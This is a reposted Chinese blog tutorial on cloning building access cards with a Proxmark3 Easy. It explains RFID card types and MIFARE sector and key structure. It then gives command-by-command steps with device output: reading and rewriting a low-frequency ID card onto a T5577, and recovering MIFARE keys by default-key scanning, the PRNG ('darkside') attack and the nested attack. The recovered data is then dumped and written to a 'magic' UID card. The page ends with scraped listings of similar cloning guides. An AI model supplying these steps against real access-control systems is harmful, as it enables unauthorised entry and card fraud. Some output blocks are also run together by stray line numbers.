转载至:https://lzy-wi.github.io/2018/07/26/proxmark3/

大家请看源作者文章,如果链接失效才看本篇吧。

前言

  安全不仅仅包含网络上的安全,在我们实际生活中也同样存在很多个安全相关的事物,可以说跟科技扯上关系的事物都会有安全问题,无线,蓝牙,手机,无人机,汽车。真正有问题的不是安全,而是人心。很多事物的设计之初都是没有考虑安全问题的,因为人心的不坏好意迫使去考虑它的安全问题。

硬件准备

破解设备

Proxmark3 Easy

破解工具不一定是Proxmark3 Easy,只要是还能够获取和修改卡片数据的设备都可以,比如arc122u,arc122u只能读取和修改高频卡,有点不足

各种卡

准备一些ID,IC卡


这不都长一个样么(#-.-)

区分ID卡和IC卡的方法

  1. 光照法

  1. 圆形大多是ID卡,方形大多是IC卡
  2. NFC法
    拿一部带有NFC功能的手机打开NFC,卡片靠近手机会响的是IC卡,不会响的是ID卡

知识准备

  首先,门禁卡所用到的技术是RFID,具体详情可以看这里–>传送门,首先从频率上可以分为高频(13.56MHZ)和低频两种类型的卡,在这两个频率上又会分为多种类型的卡。常见的卡的有

类型 频率 特性
Mifare S50(简称M1) 高频 最常见的卡,每张卡有独一无二的UID号,可保存修改数据,常见学生卡,饭卡,公交卡,门禁卡
Mifare UltraLight(简称M0) 高频 低成本卡,出厂固化UID,可储存修改数据,常见地铁卡,公交卡
Mifare UID(简称UID卡) 高频 M1卡的变异版本,可修改UID,国外叫做中国魔术卡,可以用来克隆M1 S50的数据
EM4XX(简称ID卡) 低频 常用固化ID卡,出厂固化ID,只能读不能写(低成本门禁卡,小区门禁卡,停车场门禁卡)
T5577(简称可修改ID卡) 低频 可用来克隆ID卡,出厂为空卡,内有三区也可储存数据,个别三区科设置密码
HID ProxⅡ(简称HID卡) 低频 美国常用的低频卡,可擦写,不与其他卡通用

高频

M1 S50卡

  目前最常见的高频卡,也是我们口中俗称的IC卡。M1卡科储存的数据大小为8k,分为16个扇区,每个扇区分4个块,每个块为16个字节,以块为存取单位。每个扇区都有独立的一组密码及访问控制,每张卡有唯一的一个32位的序列号。每个扇区的0,1,2块为数据块,用来存储数据,第3块为控制块,包括了密A、存取控制、密码B
每张卡的第0扇区的第0块用来春芳厂商代码,不可更改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
扇区0   03332801198804008500b42ef0bb6aa8 块0     //厂商代码,不可更改00000000000000000000000000000000 块1       //数据块00000000000000000000000000000000 块2        //数据块ffffffffffffff078069ffffffffffff 块3        //密码A(6字节),存储控制(4字节),密码B(6字节)扇区1    00000000000000000000000000000000 块4         //出了第0扇区稍有不同,其他15个扇区结构完全一样00000000000000000000000000000000 块500000000000000000000000000000000 块6ffffffffffffff078069ffffffffffff 块7...
扇区15    00000000000000000000000000000000 块6000000000000000000000000000000000 块6100000000000000000000000000000000 块62ffffffffffffff078069ffffffffffff 块63

  中间4字节控制字是管理密码权限,用来设置A密码和B密码的功能。默认不修改的时候,可以用A密码读写所有数据。A密码不可读出,B密码可以用A密码读出。密码不一定可以读取,由控制字决定。

M1 UID卡

  M1 UID卡是针对M1 S50卡特制的变种卡,用起来和M1 S50完全一样,只是多了一个功能,就是0扇区块的数据可以随意修改。因此UID号也可以随意修改,厂家信息也可以随意修改。UID卡修改0扇区0块数据是靠指令进入工厂模式,可以直接对全卡任何数据编辑,不需要密码即可读写卡,同时不怕写坏卡,即使写错0块,写坏扇区控制字,也可以随时修复回来,不影响后续使用。

FUID卡

  FUID卡是针对UID卡做的优化。新的读卡系统,通过检测卡片对特殊指令的回应,可以检测出UID卡,因此可以来拒绝UID卡的访问,来达到屏蔽复制卡的功能。FUID可以修改0块,但只可以修改一次,写错也没办法更改,也不能重复利用。修改后和M1卡完全一样,很难被屏蔽检测。

CUID卡

  CUID卡是针对FUID卡做的优化。CUID卡可以重复修改0块,但是它和UID卡的区别是,UID卡是通过指令修改0块,CUID使用的是常规密码验证的方法写0块,其他扇区和标准M1卡相同。缺点是,还是有可能会被检测出来,而且如果不小心写错了UID号的校验位导致无法读卡,没办法修复只能报废。

低频

ID卡

  ID卡是我们的俗称,内部芯片的全名叫做EM4100或EM41XX。每张卡出厂就有独一无二的ID号,不可改写。

T5577卡

  T5577 卡是一种可以写入数据可以加密的低频卡。最特别之处是,写入ID号可以变身成为ID卡,写入HID号可以变身HID卡,写入Indala卡号,可以变身Indala卡。T5577一共有8个块,每个块只能存8位数。第0块是用来设置卡片类型和调制方式的,决定了卡片是ID卡还是HID卡,如果随意修改会导致读不到卡。最后一个块,在没有加密时是数据区,加密后,其数据就变成了密码。结构如下

1
2
3
4
5
6
7
8
0x00148040  00000000000101001000000001000000 [0]
0xFF94C004  11111111100101001100000000000100 [1]
0xA5464942  10100101010001100100100101000010 [2]
0xFFFFF808  11111111111111111111100000001000 [3]
0x0001C000  00000000000000011100000000000000 [4]
0x0001C000  00000000000000011100000000000000 [5]
0x0001C000  00000000000000011100000000000000 [6]
0x0001C000  00000000000000011100000000000000 [7]

破解

破解ID卡

安装驱动

驱动下载官网网址–>传送门
安装驱动文件前需要禁用驱动安装强制签名,方法–>传送门
驱动安装方法
我的电脑右键–>管理–>设备管理器–>端口下的设备右键–>更新驱动程序–>浏览我的计算机–>选择本地–>从磁盘安装–找到官方的驱动文件–>确认
驱动安装完成会显示图片上的样子,记住COM端口

硬件使用方法

Proxmark3 Easy

1 功能按钮
2 ABCD工作状态指示灯
3 USB接口
4 电源指示灯
5 低频读卡区
6 高频读卡区

  功能按钮有退出取消停止强刷固件的功能,ABCD指示灯作为设备运行的依据,闪烁说明正在进行,完全熄灭或者常亮代表攻击失败、等待。全部熄灭表示已经停止运行了,直接重新拔插设备。

破解方法

读卡片ID号→换上T5577卡→把ID号写入卡片→完成
ID是没有密码只有卡号的,因此只要知道卡号就可以复制。
软件资料包–>密码: f8q4
打开官方软件固件\pm3-bin-2.5.0\win32(client+GUI)\Proxmark Tool.exe,箭头所指选择刚刚驱动安装的那个COM端口,连接Proxmark3,接入电脑后,电源指示灯处POW亮蓝灯,FULL亮绿灯,CHR闪烁微弱红灯。

COMMAND TO SEND里输入hw tune测试天线谐振电压,高频超过5V,低频超过10V就可以正常使用。

1
2
3
4
5
6
7
proxmark3> hw tune
Measuring antenna characteristics, please wait........
# LF antenna: 22.27 V @   125.00 kHz
# LF antenna: 31.76 V @   134.00 kHz
# LF optimal: 31.76 V @   133.33 kHz
# HF antenna: 20.17 V @    13.56 MHz
Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.

把低频ID卡(门禁卡)放到低频读卡区输入lf search获取ID卡的信息,把卡号抄下来,复制时要用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
proxmark3> lf search
Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1
NOTE: some demods output possible binaryif it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
EM410x pattern found:
EM TAG ID      : 0000001450         //ID卡号,这个抄下来,如果是HID卡会显示HID
Unique TAG ID  : 000000280A
Possible de-scramble patterns
HoneyWell IdentKey {
DEZ 8          : 00005200
DEZ 10         : 0000005200
DEZ 5.5        : 00000.05200
DEZ 3.5A       : 000.05200
DEZ 3.5B       : 000.05200
DEZ 3.5C       : 000.05200
DEZ 14/IK2     : 00000000005200
DEZ 15/IK3     : 000000000010250
DEZ 20/ZK      : 00000000000002080010
}
Other          : 05200_000_00005200
Pattern Paxton : 1331792 [0x145250]
Pattern 1      : 16652 [0x410C]
Pattern Sebury : 5200 0 5200  [0x1450 0x0 0x1450]
Valid EM410x ID Found!          //卡的类型

把T5577卡放到低频读卡区,输入命令lf hid clone 0000001450

1
2
3
4
proxmark3> lf hid clone 0000001450
Cloning tag with ID 000001450
proxmark3>
proxmark3> #db# DONE!

上述命令在左上方的命令树中都可以找到,左边有一些按钮和命令的介绍

ID卡复制就完成了
效果如下

破解IC卡

IC卡破解思路

获取任意扇区的密钥

  • PRNG 漏洞攻击得 0 扇区密匙
  • 默认密码扫描获得密匙
  • 嗅探读卡机和卡片交互数据获得密匙
  • 模拟成 M1 卡刷卡后捕获密匙(挑读卡机,兼容性不好)


利用MFOC漏洞用已知扇区密钥求所有扇区密钥

用破解出的密匙把卡片数据读出导入电脑

把电脑中的数据写入UID卡中
  第一步是最重要也是最难的一步,很多IC卡往往都是难以攻破0扇区的密钥而无法进行下一步。默认密码扫描看运气,PRNG漏洞攻击概率低,后面两个虽然概率高但是成本高且实施比较困难。
  上面的Proxmark Tool是官方英文版GUI,还有国内中文版GUI(Proxmark3_EASY_GUI),中文版的GUI比较简单,不用记很多命令,原生态PM3指令台就是纯命令行模式,看起来也比较有逼格点。一开始我是根据资料用英文版的GUI,感觉不怎么好用,后来用了原生态后觉得原生态的好用多了,但是要记命令,命令忘记了就用中文GUI查命令ㄟ( ▔, ▔ )ㄏ。can't slect card这个bug也是在用了原生态之后才知道的。
PRNG漏洞获取0扇区密钥,486固件不掉线外,630之后的固件,有些卡可以破,有卡些会掉线并出现can’t slect card

获取0扇区密钥

扯远了,默认密码扫描hf mf chk *1 ? t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
proxmark3> hf mf chk *1 ? t
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 4d3a99c351dd
chk default key[ 6] 1a982c7e459a
chk default key[ 7] d3f7d3f7d3f7
chk default key[ 8] 714c5c886e97
chk default key[ 9] 587ee5f9350f
chk default key[10] a0478cc39091
chk default key[11] 533cb6c723f6
chk default key[12] 8fd0a4f256e9
--sector: 0, block:  3, key type:A, key count:13...
--sector:15, block: 63, key type:B, key count:13
Found valid key:[ffffffffffff]
Found keys have been transferred to the emulator memory

密码是默认密码的时候可以扫的出来,不是默认密码可以尝试PRNG漏洞获取0扇区密钥hf mf mifare

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
proxmark3>hf mf mifare...
uid(ea117dee) nt(431c39b0) par(0000000000000000) ks(030702000a030209) nr(800000005)|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000005| 3 |  6  |0,0,0,0,0,0,0,0|
| 20 |00000025| 7 |  2  |0,0,0,0,0,0,0,0|
| 40 |00000045| 2 |  7  |0,0,0,0,0,0,0,0|
| 60 |00000065| 0 |  5  |0,0,0,0,0,0,0,0|
| 80 |00000085| a |  f  |0,0,0,0,0,0,0,0|
| a0 |000000a5| 3 |  6  |0,0,0,0,0,0,0,0|
| c0 |000000c5| 2 |  7  |0,0,0,0,0,0,0,0|
| e0 |000000e5| 9 |  c  |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...
p1:0 p2:0 p3:0 key:ffffffffffff
p1:58b87 p2:61ec p3:1 key:b4c98bd73e94
p1:c6a1b p2:d983 p3:2 key:576efc88ccc7
p1:ef844 p2:106dd p3:3 key:34ed3c6092e9
p1:f7e1e p2:10fd7 p3:4 key:2de06659d60e
p1:1239c0 p2:13fa0 p3:5 key:08b7558601a1
p1:12d1b3 p2:149c9 p3:6 key:00adbba1e330
key_count:7
------------------------------------------------------------------
Key found:ffffffffffffFound valid key:ffffffffffff

因为设备是我小姐姐的,固件是630之后的,所以会出现很多#db# Mifare: Can't select card,就放不了全部代码,查看固件命令hw version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
proxmark3> hw version
#db# Prox/RFID mark3 RFID instrument
#db# bootrom: /-suspect 2016-11-09 00:59:56
#db# os: /-suspect 2016-12-08 12:45:38
#db# HF FPGA image built on 2015/03/09 at 08:41:42
#db#   Modify by Willok(willok@163.com)#db#      proxmark3.taobao.comuC: AT91SAM7S256 Rev B
Embedded Processor: ARM7TDMI
Nonvolatile Program Memory Size: 256K bytes
Second Nonvolatile Program Memory Size: None
Internal SRAM Size: 64K bytes
Architecture Identifier: AT91SAM7Sxx Series
Nonvolatile Program Memory Type: Embedded Flash Memory

Tip:固件版本是根据固件的日期来看的
我们可以测试一下我们拿到的密钥对不对,错误不会返回最下面那一行

1
2
3
4
proxmark3> hf mf chk 0 A ffffffffffff
chk key[ 0] ffffffffffff
--sector: 0, block:  0, key type:A, key count: 1
Found valid key:[ffffffffffff]

知一求十五

获取到0扇区的密钥后我们就可以通过MFOC漏洞获取所有扇区的密钥(100%成功)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
proxmark3> hf mf nested 1 0 A ffffffffffff             //0是0扇区,A密钥
Testing known keys. Sector count=16
nested...
Time in nested: 4.330 (inf sec per key)-----------------------------------------------
Iterations count: 0|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|---|----------------|---|----------------|---|

接下来导出密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
proxmark3> hf mf nested 1 0 A ffffffffffff d
Testing known keys. Sector count=16
nested...
Time in nested: 4.302 (inf sec per key)-----------------------------------------------
Iterations count: 0|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...

导出后会在根目录生成一个dumpkeys.bin的文件,里面存放了16个扇区的密钥(16进制)

导出数据

拿到密码后我们就可以导出卡上的数据到电脑里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
proxmark3> hf mf dump
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED...
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
Successfully read block  0 of sector  0.
#db# READ BLOCK FINISHED
Successfully read block  1 of sector  0....
#db# READ BLOCK FINISHED
Successfully read block  3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.bin

同样16进制打开

因为是测试卡,所以里面就没什么数据ㄟ( ▔, ▔ )ㄏ。

写入UID卡

下一步把数据写进写UID卡
Proxmark3不能识别、使用bin文件,需要转换成eml格式
第一个方法是运行下面的命令转成eml格式

1
2
3
4
5
proxmark3> script run dumptoemul.lua
--- Executing: ./scripts/dumptoemul.lua, args''
Wrote an emulator-dump to the file EA117DEE.eml-----Finished

第二个方法是运行dump to EML.bat脚本转成eml格式

写入到白卡(UID卡)上

1
2
proxmark3> hf mf cload  dumpdata
Loaded from file: dumpdata.eml

写卡是没有回显的,只能通过读取的方式查看有没有读取成功,对比两张卡的数据就可以看到数据是一模一样的,克隆就完成了
IC卡破解不止这一种方法,能力和设备有限,以后有机会会继续学习下去

Proxmark3 Easy破解门禁卡(转载 珍贵知识防止掉失)相关推荐

  1. 小米NFC手机 手环 复制加密IC门禁卡

    思路: 第一步通过破解加密的门禁卡得到dump文件,获取卡号.修改dump文件只保留0扇区0块的内容也就是卡号,通过读卡器写入一张卡空白卡.这时就得到了一张未加密的白卡了.手机NFC可以模拟这张未加密 ...

  2. 小米NFC手机复制加密IC门禁卡

    几年没有发过任何文字信息了.闲来无事发一个NFC手机复制加密门禁卡的教程 思路: 第一步通过破解加密的门禁卡得到dump文件,获取卡号.修改dump文件只保留0扇区0块的内容也就是卡号,通过读卡器写入 ...

  3. 用手机模拟加密门禁卡【不用电脑】

    目标:将门禁卡.考勤卡.会员卡.停车卡.电梯卡等等各种卡模拟进手机里,模拟后可用手机代替刷卡,无需root,不用电脑 背景介绍: 1.前言   目前,IC卡已被广泛应用于身份识别.金融消费.安全认证等 ...

  4. NFC手机手环脱机模拟加密门禁卡

    目标:将门禁卡.考勤卡.会员卡.停车卡.电梯卡等等各种卡模拟进手机里,模拟后可用手机代替刷卡,无需root,不用电脑 背景介绍: 1.前言   目前,IC卡已被广泛应用于身份识别.金融消费.安全认证等 ...

  5. 教你用手机模拟模拟 门禁卡、考勤卡、会员卡、停车卡、电梯卡等等,模拟后可用手机代替刷卡,无需root

    教你用手机模拟模拟 门禁卡.考勤卡.会员卡.停车卡.电梯卡等等,模拟后可用手机代替刷卡,无需root 背景介绍: 1.前言   目前,IC卡已被广泛应用于身份识别.金融消费.安全认证等领域.大多数人每 ...

  6. 手机模拟加密门禁卡 考勤卡 会员卡 停车卡 电梯卡等教程-不用电脑,无需root

    手机模拟加密门禁卡 考勤卡 会员卡 停车卡 电梯卡等教程-不用电脑,无需root 目标:将门禁卡.考勤卡.会员卡.停车卡.电梯卡等等各种卡模拟进手机里,模拟后可用手机代替刷卡,无需root,不用电脑 ...

  7. 教你用手机模拟加密门禁卡-不用电脑,不ROOT手机

    目标:将门禁卡.考勤卡.会员卡.停车卡.电梯卡等等各种卡模拟进手机里,模拟后可用手机代替刷卡,无需root,不用电脑 ## 背景介绍:1.前言  目前,IC卡已被广泛应用于身份识别.金融消费.安全认证 ...

  8. 都2021年了不会还有人用门禁卡吧!(手把手教你用手机代替门禁卡)

    目录 一.软硬件准备 NFC Tool 蓝牙版读卡器 安卓NFC手机 二.大致流程 三.详细步骤 0x01 NFC Tool 破解母卡获取Dump文件 0x02 NFC Tool 读取母卡卡号,写入非 ...

  9. 手机、手环NFC刷门禁卡

    手机.手环NFC刷门禁卡,全教程! 此教程教您将门禁卡.考勤卡.会员卡.停车卡.电梯卡等等各种卡片模拟进NFC手机里,从而用手机代替门禁卡.视频教程(https://nfctool.cn/nfcpho ...

  10. 小米手环7模拟加密门禁卡

    一.工具准备 硬件: 小米手环7 cuid卡 pn532 待破解加密门禁卡 软件: MifareOne Tool NFC上位机 IC客栈-M1卡格式转换工具 二.破解加密卡 将带破解加密门禁卡放到pn ...

最新文章

  1. 使用HTML5画布实现的超棒javascript动画仪表板:gauge.js
  2. hdoj5317【素数预处理】
  3. npm 安装指定的第三方包
  4. 全球及中国纳米材料行业竞争格局及发展规模预测报告2021年版
  5. 杭电oj java printf_杭电oj1042题大数,java,百思不得其解为何WA,求指教
  6. PowerShell尝试登录SQL Server
  7. 深入理解kestrel的应用
  8. 数据结构之图:用图解决案例,Python代码实现——24
  9. 神操作!使用命令更改MAC截图默认保存格式的方法
  10. 4.TCP/IP 详解卷1 --- ARP:地址解析协议
  11. 使用maven将jar包下载到本地仓库
  12. w3wp oracle连接数高,分析案例:應用服務器W3WP進程CPU持續超過百分之九十(Oracle客戶端Bug)...
  13. 翻译: 构建基于卡尔曼滤波器的 IMU 用速度数据改进 IMU 姿态估计
  14. 渗透神器----Windows10 渗透工具包
  15. 夜间灯光数据dn值_探讨DMSP/OLS夜间灯光数据的校正
  16. Tone mapping进化论
  17. html5 canvas实现桌面效果,基于html5 canvas实现漫天飞雪效果实例
  18. 【linux】循序渐进学运维-基础篇-文件的软硬链接
  19. PHP 获取字符串长度
  20. 超级微粒计算机,神秘亚原子微粒如何逃离黑洞?超级计算机找到答案

热门文章

  1. 速达软件无法打开帐套数据库/一般性网络错误
  2. 超级SIM卡 SEID号读取 手机NFC门禁刷卡模块方案
  3. 通用文档信息提取模型浅析
  4. finereport java无符合资料_Java报表工具FineReport常见的数据集报错错误代码和解释...
  5. Java 概述、Java语言的特点、什么是跨平台性、Java语言平台版本、什么是jdk,jre、JDK和JRE的下载安装...
  6. android无线投屏到win,无线投影仪怎么连接,看过教程,原来操作这么简单!
  7. mysql安装方法及使用
  8. 更改文件扩展名HTML,文件的后缀名怎么改|更改文件后缀名的方法
  9. 物料编码是计算机识别和检索物料的( ),物料编码是计算机识别和检索物料的。...
  10. 一元线性回归(Python)